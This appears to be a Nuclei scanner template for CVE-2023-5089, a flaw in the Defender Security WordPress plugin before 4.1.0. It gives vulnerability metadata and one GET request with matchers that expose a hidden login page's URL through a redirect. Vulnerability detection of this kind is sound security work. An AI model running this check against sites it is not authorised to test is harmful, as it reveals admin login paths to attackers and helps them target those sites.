id: CVE-2023-5089

info:
  name: Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page)
  author: jpg0mez
  severity: medium
  description: |
    The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.
  remediation: Fixed in 4.1.0
  reference:
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms
    - https://wpscan.com/vulnerability/2b547488-187b-44bc-a57d-f876a7d4c87d/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-5089
    epss-score: 0.00306
    epss-percentile: 0.6923
    cpe: cpe:2.3:a:wpmudev:defender_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmudev
    product: defender_security
    framework: wordpress
    publicwww-query: "/wp-content/plugins/defender-security/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,defender-security,redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location
# digest: 4b0a00483046022100fd7d861e3f17c0f6e97ee8e723140f3d0c5ec3a282c2dd21b03bf8892b75221502210096307b8b6a2f292b107ed285cffa2143500095d5beca7867a0488e3b1ca6b8e9:922c64590222798bb761d5b6d8e72950